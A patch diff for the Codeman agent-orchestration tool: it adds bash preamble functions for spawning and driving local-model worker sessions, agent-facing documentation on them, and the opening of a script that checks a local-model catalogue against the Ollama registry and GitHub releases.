# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -135,21 +244,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -195,10 +319,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -232,7 +356,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -297,6 +421,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -319,4 +545,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
@@ -484,7 +484,10 @@ snippet carries the exit code back to you.
For a **claude** worker with no hooks, ask for the marker in halves in the prompt
itself ("print the word WORKDONE immediately followed by `_<token>`") for the same
reason, and match the joined token. ⚠️ Against a TUI, match a single space-free token:
reason, and match the joined token. For any **agent** worker without `stop` (a hook-less
claude, a worker on the local model, every external agent mode but deepseek), the
preamble's `sendmark <sid> "<prompt>"` is exactly that in one call, and also asks for the
answer in a file it reads back: [§5.16](#516-a-worker-on-the-local-model). ⚠️ Against a TUI, match a single space-free token:
a full-screen TUI positions text with cursor movements rather than literal spaces, so
the stripped stream can read `Yes,Itrustthisfolder`, and whether a phrase keeps its
spaces depends on how the TUI happened to draw it (observed live: some match, some
@@ -814,6 +817,103 @@ Rules that matter:
- **Lifetime.** An inbox goes with its session on delete. A server restart empties all
inboxes unless the user turned on *Keep agent inbox across restarts* in Settings.
### 5.16 A worker on the local model
The detail behind [Claude in the cloud, a local model on this
Mac](../SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac). Three preamble functions,
all read from source and pinned by `test/agent-skill-local-model.test.ts` against a fake
server; the local model routes themselves are experimental.
**`local_model`** is one `GET /api/v1/local-model` (the `/api/v1` alias reaches the
experimental route like any other) and prints one JSON line. Exit 0 means a `local` worker
can be spawned now (`running: true`) or once `spawn_worker` has started the runtime
(`running: false`):
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
```
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
|----------|---------------|-----------------------|
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
| `unauthorized`, `unreachable`, `error` | the request itself failed | §6 for a 401 |
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
- It joins the prompt onto one line and adds one sentence: write the complete answer to
`codeman-answer-<token>.md` in the working directory, and only then end the reply with
the word DONE immediately followed by `_<token>`. The typed text never holds the joined
marker, so its echo cannot match.
- It sends once with the exactly-once body (`$CID-<sid>`, an epoch-second `seq`, one `\r`)
and a one-second `exit` wait, so `delivered` is the pane's answer, not a guess.
- It waits on `wait-output?match=DONE_<token>&from=buffer` in rounds of at most 10 s until
the timeout (default 600 s), then reads the answer file from this machine's disk: only a
regular file (a symlink is refused), at most 256 KB.
- ⚠️ A full-screen agent can print the marker without it ever matching. OpenCode redraws
its spinner between the pieces a model streams, so with a reply streamed a character or
two at a time the stripped stream read `D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…` while the screen showed the whole
token (measured on OpenCode 1.3.0 on Linux). So between rounds it also looks at the answer file:
once it is non-empty and its checksum held still from one round to the next, it is read
and the wait ends with `matched: false`.
| exit | JSON | Meaning |
|------|------|---------|
| 0 | `answer` holds the file | the file was read: after the marker (`matched: true`), or once it held still (`matched: false`) |
| 2 | `matched: false` | neither the marker nor a settled file before the timeout. The worker may still be working: re-check the pane, never resend blindly |
| 3 | `ended: true` or `delivered: false` | the worker's pane ended. A pane that ended after it wrote the file but before the marker matched leaves `codeman-answer-<token>.md` in its folder: look there yourself |
| 4 | `matched: true, answer: null` | the marker printed, but no file within `SENDMARK_FILE_WAIT` s (default 120): the model ignored the instruction, or a reasoning model restated the marker while planning and is still at work |
| 1 | `detail` | the send or a wait failed |
What a marker proves, and what it does not: the model printed the token. Not that the
work is done, not that it is right, and with a reasoning model not even that the turn is
over, which is why the file is the second gate. What a small local model writes is a
first draft; review it before you build on it. The answer files stay in the worker's
folder, a scratch case that [§5.14](#514-clean-up) lists for cleanup.
`SENDMARK_ANSWER_FILE=0` asks for the marker alone, for a worker that cannot write where
it runs (codex in a folder it runs read-only, an agent that asks before it writes a file,
a worker on another host): exit 0 then means only that the marker printed, and with no
file to fall back on, a full-screen agent can answer exit 2 for a reply that finished. A
worker that stops on such a question shows up here as exit 2, not as an error.
Close every local worker you opened: while one is open the window refuses Stop and
Remove, naming it.
## Experimental bounded inspection and guarded submission
These three commands and their HTTP routes are labeled experimental, so they may
+791
View File
@@ -0,0 +1,791 @@
#!/usr/bin/env -S npx tsx
/**
* The weekly check of the local model catalogue (src/config/local-model-catalog.ts) and of the
* pinned model runtime (OLLAMA_RUNTIME_PIN in src/local-model/runtime.ts) against what the
* registry and Ollama's releases serve today.
*
* npx tsx scripts/check-local-model-catalog.mjs # markdown report on stdout
* npm run check:local-model-catalog # the same
*
* Exit code: 0 nothing drifted, 1 drift found, 2 the check itself failed (network, an answer
* that does not parse, a catalogue that does not validate). On 2 the report is still printed
* with everything that was found, but it is incomplete, so nothing should act on it.
* `.github/workflows/local-model-catalog.yml` runs it every Monday and keeps one issue current.
*
* Runs under tsx because it imports the TypeScript catalogue and pin, and imports them only in
* main(), so the test imports the pure parts without them.
*
* WHAT A MAC DOWNLOADS. A tag is not one build. Asked with the Accept header Ollama 0.40.15
* sends (`pullModelManifest` in server/images.go), the registry answers a manifest LIST for
* some tags, one child per runner, and Ollama on Apple silicon takes the first child whose
* runner is `mlx`, else `llamacpp`, else `ggml` (`runnerPreferences()` in manifest/manifest.go).
* Asked with the plain Docker Accept header the registry answers the llamacpp child instead,
* which is NOT what a Mac pulls: that is how `qwen3.6:35b-a3b` came to be "2% above its
* manifest" in the catalogue header. So this check asks the way Ollama asks, picks the child
* the way a Mac picks it, and compares the row's `bytes` with that child's pull total (every
* layer plus the config, which is exactly the `total` a real pull reported on a Mac). A row
* that names its `runner` is also held to that child's runner (`catalogueRunner()`), because
* the memory figures of a row follow its runner and a change of runner can come with almost
* the same size.
*
* WHAT IS FETCHED, and nothing else:
* - `GET /v2/library/<name>/manifests/<tag>`, the tag's manifest or manifest list.
* - For a list: `GET /v2/library/<name>/blobs/<digest>` for each child the list names. A child
* manifest is stored as a blob (Ollama fetches it the same way, `pullSelectedManifest`). It
* is metadata: about 220 KB for an MLX build of 1,055 tensors.
* - `GET .../blobs/<digest>` for the config of the child a Mac selects, a few hundred bytes,
* for its `requires` (the oldest Ollama that may pull it).
* - The GitHub API: the newest release of ollama/ollama, and the release of the pinned version.
* A digest from a `layers` entry is never requested: no model weights are ever downloaded.
* Every request has its own timeout and a byte cap, nothing is retried, every blob is checked
* against its digest, and `GITHUB_TOKEN` is sent to api.github.com only, when it is set.
*
* THE DIGEST CONTRACT. A row may pin the build it describes as `digest`: the digest of the
* manifest a Mac pulls, which is the value `/api/tags` reports after the pull (`sha256:<hex>` or
* the bare hex). The catalogue schema does not have that field yet: `LocalModelEntrySchema` is
* strict, so it must gain an optional `digest` before a row can carry one, under exactly that
* name, or this check never compares it. The catalogue keeps no digest today on purpose
* (test/local-model-catalog.test.ts, "holds no download data", refuses a `sha256` in it), so
* pinning digests changes that rule too: a decision for the catalogue, not for this script.
* Until then the report lists the digests to pin, and a rebuild of about the same size goes
* unnoticed (a change of build, mlx against gguf, never does: every pair seen so far differs
* by 2% or more, far past the size tolerance, and a row that names its runner is held to it).
*
* Everything that reaches the report from the network is validated first (digests, sizes,
* runner and format names, version tags), because the workflow puts the report in an issue.
*
* NOT CHECKED: the memory figures, the speeds and whether a coding agent works with a model.
* No manifest says anything about those; they change only when somebody measures on a Mac.
*/
import { createHash } from 'node:crypto';
import { resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
// ---------- Constants ----------
export const REGISTRY_BASE = 'https://registry.ollama.ai';
export const GITHUB_API_BASE = 'https://api.github.com';
/** The repository whose releases the runtime pin follows. */
export const RUNTIME_REPO = 'ollama/ollama';
export const MEDIA_TYPE_MANIFEST = 'application/vnd.docker.distribution.manifest.v2+json';
export const MEDIA_TYPE_MANIFEST_LIST = 'application/vnd.ollama.manifest.list.v2+json';
/** The Accept header of Ollama 0.40.15's own manifest request: the list first. */
export const MANIFEST_ACCEPT = `${MEDIA_TYPE_MANIFEST_LIST}, ${MEDIA_TYPE_MANIFEST}`;
/** The runner order of Ollama 0.40.15 on darwin/arm64 (`runnerPreferences()`). */
export const MAC_RUNNER_PREFERENCE = Object.freeze(['mlx', 'llamacpp', 'ggml']);
/** Format names the report prints as they are. Anything else is printed as `unknown`. */
export const KNOWN_FORMATS = Object.freeze(['safetensors', 'gguf']);
/**
* How far the size a Mac downloads may sit from the row's `bytes` before it is drift: 0.1%.
* The rows that were sized from layers alone sit a few hundred bytes (the config) below the
* pull total; any rebuilt model moves by far more than this.
*/
export const SIZE_TOLERANCE_FRACTION = 0.001;
/** One request may take this long, connection and body together. */
export const REQUEST_TIMEOUT_MS = 20_000;
/** A manifest or child manifest larger than this is refused. The MLX build of the 35B is 220 KB. */
export const MAX_MANIFEST_BYTES = 4 * 1024 * 1024;
/** A config blob larger than this is refused. They are a few hundred bytes. */
export const MAX_CONFIG_BYTES = 64 * 1024;
/** A GitHub release answer larger than this is refused. */
export const MAX_GITHUB_BYTES = 4 * 1024 * 1024;
/** A manifest list with more children than this is refused. */
export const MAX_LIST_CHILDREN = 8;
/** A manifest with more layers than this is refused. */
export const MAX_LAYERS = 20_000;
const DIGEST_PATTERN = /^sha256:[0-9a-f]{64}$/;
const VERSION_PATTERN = /^v?(\d{1,6})\.(\d{1,6})\.(\d{1,6})$/;
const RELEASE_TAG_PATTERN = /^v\d{1,6}\.\d{1,6}\.\d{1,6}$/;
const ISO_DAY_PATTERN = /^(\d{4}-\d{2}-\d{2})T/;
const USER_AGENT = 'codeman-local-model-catalog-check';
/** The check could not finish: the run ends with exit code 2. */
export class CheckFailure extends Error {
constructor(message) {
super(message);
this.name = 'CheckFailure';
}
}
// ---------- Pure helpers ----------
/** `name:tag` into its two parts. The catalogue's pattern already rules out a slash. */
export function splitModelId(id) {
const colon = id.indexOf(':');
if (colon <= 0 || colon === id.length - 1 || id.includes('/')) throw new CheckFailure(`not a name:tag model id: ${id}`);
return { name: id.slice(0, colon), tag: id.slice(colon + 1) };
}
/** `sha256:<hex>` of a body, the way the registry names it. */
export function sha256Digest(bytes) {
return `sha256:${createHash('sha256').update(bytes).digest('hex')}`;
}
/** A digest as `sha256:<64 hex>`, accepting the bare hex `/api/tags` prints. Anything else: undefined. */
export function normalizeDigest(value) {
if (typeof value !== 'string') return undefined;
const text = value.trim().toLowerCase();
const full = text.startsWith('sha256:') ? text : `sha256:${text}`;
return DIGEST_PATTERN.test(full) ? full : undefined;
}
/** A runner name as Ollama compares it (lowercase, trimmed). */
export function canonicalRunner(runner) {
return typeof runner === 'string' ? runner.trim().toLowerCase() : '';
}
/** A runner or format name for the report: one of the known names, else `unknown`. */
export function displayName(value, known) {
const name = canonicalRunner(value);
return known.includes(name) ? name : 'unknown';
}
function isSize(value) {
return Number.isSafeInteger(value) && value >= 0;
}
/**
* What a pull of this manifest downloads, in bytes: every layer plus the config. Throws on a
* manifest that is not shaped like one, so a malformed answer never reads as a size.
*/
export function pullTotalBytes(manifest) {
if (!manifest || typeof manifest !== 'object') throw new CheckFailure('the manifest is not an object');
const { config, layers } = manifest;
if (!Array.isArray(layers) || layers.length === 0) throw new CheckFailure('the manifest has no layers');
if (layers.length > MAX_LAYERS) throw new CheckFailure(`the manifest has more than ${MAX_LAYERS} layers`);
if (!config || !isSize(config.size)) throw new CheckFailure('the manifest has no config size');
let total = config.size;
for (const layer of layers) {
if (!layer || !isSize(layer.size)) throw new CheckFailure('a layer of the manifest has no size');
total += layer.size;
}
if (!Number.isSafeInteger(total)) throw new CheckFailure('the manifest total is not a safe integer');
return total;
}
/**
* The child of a manifest list that Ollama 0.40.15 on Apple silicon pulls: for each runner in
* `MAC_RUNNER_PREFERENCE`, the first child (in list order) with that runner. A child whose
* mediaType is set to anything but a plain manifest is skipped, as Ollama skips it. Undefined
* when no child has a runner a Mac runs.
*/
export function selectMacChild(children) {
if (!Array.isArray(children)) return undefined;
for (const runner of MAC_RUNNER_PREFERENCE) {
const child = children.find(
(entry) =>
entry &&
(entry.mediaType === undefined || entry.mediaType === '' || entry.mediaType === MEDIA_TYPE_MANIFEST) &&
canonicalRunner(entry.runner) === runner
);
if (child) return child;
}
return undefined;
}
/**
* The runner and format Ollama assumes for a manifest that names neither, from its config's
* `model_format` (`MetadataForConfig()` in manifest/manifest.go): safetensors runs on mlx,
* gguf on ggml.
*/
export function metadataForConfig(config) {
const format = canonicalRunner(config?.model_format);
if (format === 'safetensors') return { runner: 'mlx', format: 'safetensors' };
if (format === 'gguf' || format === 'ggml') return { runner: 'ggml', format: 'gguf' };
return { runner: '', format };
}
/**
* A runner name in the catalogue's words (`LocalModelEntry.runner`): `mlx`, or `llamacpp` for a
* GGUF build, which Ollama 0.40.15 serves through llama-server whether the manifest names it
* `llamacpp` or names nothing (`ggml`, see `metadataForConfig()`). Undefined for anything else.
*/
export function catalogueRunner(runner) {
const name = canonicalRunner(runner);
if (name === 'mlx') return 'mlx';
if (name === 'llamacpp' || name === 'ggml') return 'llamacpp';
return undefined;
}
/** `[major, minor, patch]` of a version or `v`-tag, or undefined when it is not one. */
export function parseVersion(text) {
const match = typeof text === 'string' ? VERSION_PATTERN.exec(text.trim()) : null;
return match ? [Number(match[1]), Number(match[2]), Number(match[3])] : undefined;
}
/** Negative when `a` is older than `b`, 0 when equal, positive when newer. Both must parse. */
export function compareVersions(a, b) {
const left = parseVersion(a);
const right = parseVersion(b);
if (!left || !right) throw new CheckFailure(`cannot compare versions ${a} and ${b}`);
for (let i = 0; i < 3; i++) if (left[i] !== right[i]) return left[i] - right[i];
return 0;
}
/** The signed difference of `actual` from `expected`, as a fraction of `expected`. */
export function sizeDifference(expected, actual) {
return (actual - expected) / expected;
}
/** Whether `actual` lies within `SIZE_TOLERANCE_FRACTION` of `expected`. */
export function withinTolerance(expected, actual, tolerance = SIZE_TOLERANCE_FRACTION) {
return Math.abs(actual - expected) <= expected * tolerance;
}
/**
* The findings for one catalogue row. `row` is `{ id, bytes, runner?, digest? }` (`runner` once
* the catalogue names it, `digest` only once the catalogue stores one); `observed` is what
* `inspectModel()` returned for it. A row may have several findings; none means it is clean.
*
* - `gone`: the tag is not in the registry, so a pull fails.
* - `runner`: a Mac now pulls a build of another runner than the row names (a tag that became
* a list with an mlx child, or the other way round). The two runners spend memory
* differently, so the row's memory figures no longer describe what runs, whatever the size.
* - `size`: what a Mac downloads is outside the tolerance of the row's `bytes`.
* - `digest`: the row pins a digest and a Mac would now pull another one.
* - `requires`: the build a Mac pulls declares a newer Ollama than the pinned runtime, so the
* pinned runtime refuses the pull.
*/
export function classifyModel(row, observed, pinnedVersion) {
if (observed.gone) return [{ kind: 'gone' }];
const findings = [];
const mac = observed.mac;
if (row.runner !== undefined) {
const actual = catalogueRunner(mac.runner) ?? 'unknown';
if (actual !== row.runner) findings.push({ kind: 'runner', expected: String(row.runner), actual });
}
if (!withinTolerance(row.bytes, mac.bytes)) {
findings.push({ kind: 'size', expected: row.bytes, actual: mac.bytes, fraction: sizeDifference(row.bytes, mac.bytes) });
}
const pinned = normalizeDigest(row.digest);
if (row.digest !== undefined && pinned !== mac.digest) {
findings.push({ kind: 'digest', expected: pinned ?? 'not a sha256 digest', actual: mac.digest });
}
if (mac.requires && compareVersions(mac.requires, pinnedVersion) > 0) {
findings.push({ kind: 'requires', requires: mac.requires, pinned: pinnedVersion });
}
return findings;
}
/**
* The findings for the runtime pin. `observed` is what `inspectRuntime()` returned.
*
* - `behind`: a newer Ollama release exists than the pinned one.
* - `pinned-release-gone`, `pinned-asset-gone`: the pinned download no longer exists, so every
* new install fails at the runtime step.
* - `pinned-asset-changed`: the pinned asset's size or sha256 no longer matches the pin. Every
